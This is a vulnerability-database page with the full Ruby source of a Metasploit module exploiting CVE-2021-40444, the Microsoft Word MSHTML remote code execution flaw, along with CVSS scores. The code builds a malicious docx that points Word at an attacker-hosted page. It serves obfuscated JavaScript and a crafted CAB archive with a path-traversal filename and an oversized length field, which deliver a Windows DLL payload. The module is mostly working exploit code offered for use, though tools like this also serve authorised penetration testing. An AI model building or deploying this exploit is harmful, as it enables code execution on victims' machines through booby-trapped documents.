Lucene search

K
metasploitLockedbyte, klezVirus, thesunRider, mekhalleh (RAMELLA Sébastien)MSF:EXPLOIT-WINDOWS-FILEFORMAT-WORD_MSHTML_RCE-
HistoryNov 09, 2021 - 11:18 a.m.

Microsoft Office Word Malicious MSHTML RCE

2021-11-0911:18:58
lockedbyte, klezVirus, thesunRider, mekhalleh (RAMELLA Sébastien)
www.rapid7.com
231

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

This module creates a malicious docx file that when opened in Word on a vulnerable Windows system will lead to code execution. This vulnerability exists because an attacker can craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word Malicious MSHTML RCE',
        'Description' => %q{
          This module creates a malicious docx file that when opened in Word on a vulnerable Windows
          system will lead to code execution. This vulnerability exists because an attacker can
          craft a malicious ActiveX control to be used by a Microsoft Office document that hosts
          the browser rendering engine.
        },
        'References' => [
          ['CVE', '2021-40444'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],
          ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],
          ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],
          ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],
          ['URL', 'https://github.com/klezVirus/CVE-2021-40444']
        ],
        'Author' => [
          'lockedbyte ', # Vulnerability discovery.
          'klezVirus ', # References and PoC.
          'thesunRider', # Official Metasploit module.
          'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
        ],
        'DisclosureDate' => '2021-09-23',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'FILENAME' => 'msf.docx'
        },
        'Targets' => [
          [
            'Hosted', {}
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
    register_advanced_options([
      OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),
    ])
  end

  def bin_to_hex(bstr)
    return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)
  end

  def cab_checksum(data, seed = "\x00\x00\x00\x00")
    checksum = seed

    bytes = ''
    data.chars.each_slice(4).map(&:join).each do |dword|
      if dword.length == 4
        checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')
      else
        bytes = dword
      end
    end
    checksum = checksum.reverse

    case (data.length % 4)
    when 3
      dword = "\x00#{bytes}"
    when 2
      dword = "\x00\x00#{bytes}"
    when 1
      dword = "\x00\x00\x00#{bytes}"
    else
      dword = "\x00\x00\x00\x00"
    end

    checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse
  end

  # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf
  def create_cab(data)
    cab_cfdata = ''
    filename = "../#{File.basename(@my_resources.first)}.inf"
    block_size = 32768
    struct_cffile = 0xd
    struct_cfheader = 0x30

    block_counter = 0
    data.chars.each_slice(block_size).map(&:join).each do |block|
      block_counter += 1

      seed = "#{[block.length].pack('S')}#{[block.length].pack('S')}"
      csum = cab_checksum(block, seed)

      vprint_status("Data block added w/ checksum: #{bin_to_hex(csum)}")
      cab_cfdata << csum                     # uint32 {4} - Checksum
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length
      cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length
      cab_cfdata << block
    end

    cab_size = [
      struct_cfheader +
        struct_cffile +
        filename.length +
        cab_cfdata.length
    ].pack('L<')

    # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)
    cab_header = "\x4D\x53\x43\x46" # uint32 {4} - Header (MSCF)
    cab_header << "\x00\x00\x00\x00" # uint32 {4} - Reserved (null)
    cab_header << cab_size # uint32 {4} - Archive Length
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)

    cab_header << "\x2C\x00\x00\x00"         # uint32 {4} - Offset to the first CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Reserved (null)
    cab_header << "\x03"                     # byte   {1} - Minor Version (3)
    cab_header << "\x01"                     # byte   {1} - Major Version (1)
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Folders
    cab_header << "\x01\x00"                 # uint16 {2} - Number of Files
    cab_header << "\x00\x00"                 # uint16 {2} - Flags

    cab_header << "\xD2\x04"                 # uint16 {2} - Cabinet Set ID Number
    cab_header << "\x00\x00"                 # uint16 {2} - Sequential Number of this Cabinet file in a Set

    # CFFOLDER
    cab_header << [                          # uint32 {4} - Offset to the first CFDATA in this Folder
      struct_cfheader +
      struct_cffile +
      filename.length
    ].pack('L<')
    cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder
    cab_header << "\x00\x00"                 # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)

    # increase file size to trigger vulnerability
    cab_header << [ # uint32 {4} - Uncompressed File Length ("\x02\x00\x5C\x41")
      data.length + 1073741824
    ].pack('L<')

    # set current date and time in the format of cab file
    date_time = Time.new
    date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')
    time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')

    # CFFILE
    cab_header << "\x00\x00\x00\x00"         # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)
    cab_header << "\x00\x00"                 # uint16 {2} - Folder ID (starts at 0)
    cab_header << date                       # uint16 {2} - File Date (\x5A\x53)
    cab_header << time                       # uint16 {2} - File Time (\xC3\x5C)
    cab_header << "\x20\x00"                 # uint16 {2} - File Attributes
    cab_header << filename                   # byte   {X} - Filename (ASCII)
    cab_header << "\x00"                     # byte   {1} - null Filename Terminator

    cab_stream = cab_header

    # CFDATA
    cab_stream << cab_cfdata
  end

  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab"
    inf = "#{File.basename(@my_resources.first)}.inf"

    file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')
    js_content = ::File.binread(file_path)

    js_content.gsub!('REPLACE_INF', inf)
    js_content.gsub!('REPLACE_URI', uri)
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')

      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end

    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += js_content.to_s
    html += '</script></body></html>'
    html
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def get_template_path
    datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')
  end

  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end

    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end

    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/document.xml'
        entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "mhtml:#{uri}!x-usc:#{uri}")
      end
    end
  end

  def normalize_uri(*strs)
    new_str = strs * '/'

    new_str = new_str.gsub!('//', '/') while new_str.index('//')

    # makes sure there's a starting slash
    unless new_str[0, 1] == '/'
      new_str = '/' + new_str
    end

    new_str
  end

  def on_request_uri(cli, request)
    header_cab = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'application/octet-stream',
      'Content-Disposition' => "attachment; filename=#{File.basename(@my_resources.first)}.cab"
    }

    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }

    if request.method.eql? 'HEAD'
      if request.raw_uri.to_s.end_with? '.cab'
        send_response(cli, '', header_cab)
      else
        send_response(cli, '', header_html)
      end
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''

      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')

      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.cab'
      print_status('Sending CAB Payload')

      send_response(cli, create_cab(@dll_payload), header_cab)
    end
  end

  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def unpack_docx(template_path)
    document = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.match(/\.xml|\.rels$/i)
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        document << { fname: entry.name, data: content }
      end
    end

    document
  end

  def primer
    print_status('CVE-2021-40444: Generate a malicious docx file')

    @proto = (datastore['SSL'] ? 'https' : 'http')
    if datastore['SRVHOST'] == '0.0.0.0'
      datastore['SRVHOST'] = Rex::Socket.source_address
    end

    template_path = get_template_path
    unless File.extname(template_path).match(/\.docx$/i)
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end

    print_status("Using template '#{template_path}'")
    @docx = unpack_docx(template_path)

    print_status('Injecting payload in docx document')
    inject_docx

    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)

    @dll_payload = Msf::Util::EXE.to_win64pe_dll(
      framework,
      payload.encoded,
      {
        arch: payload.arch.first,
        mixed_mode: true,
        platform: 'win'
      }
    )
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

HIGH

Availability Impact

LOW

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

6.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P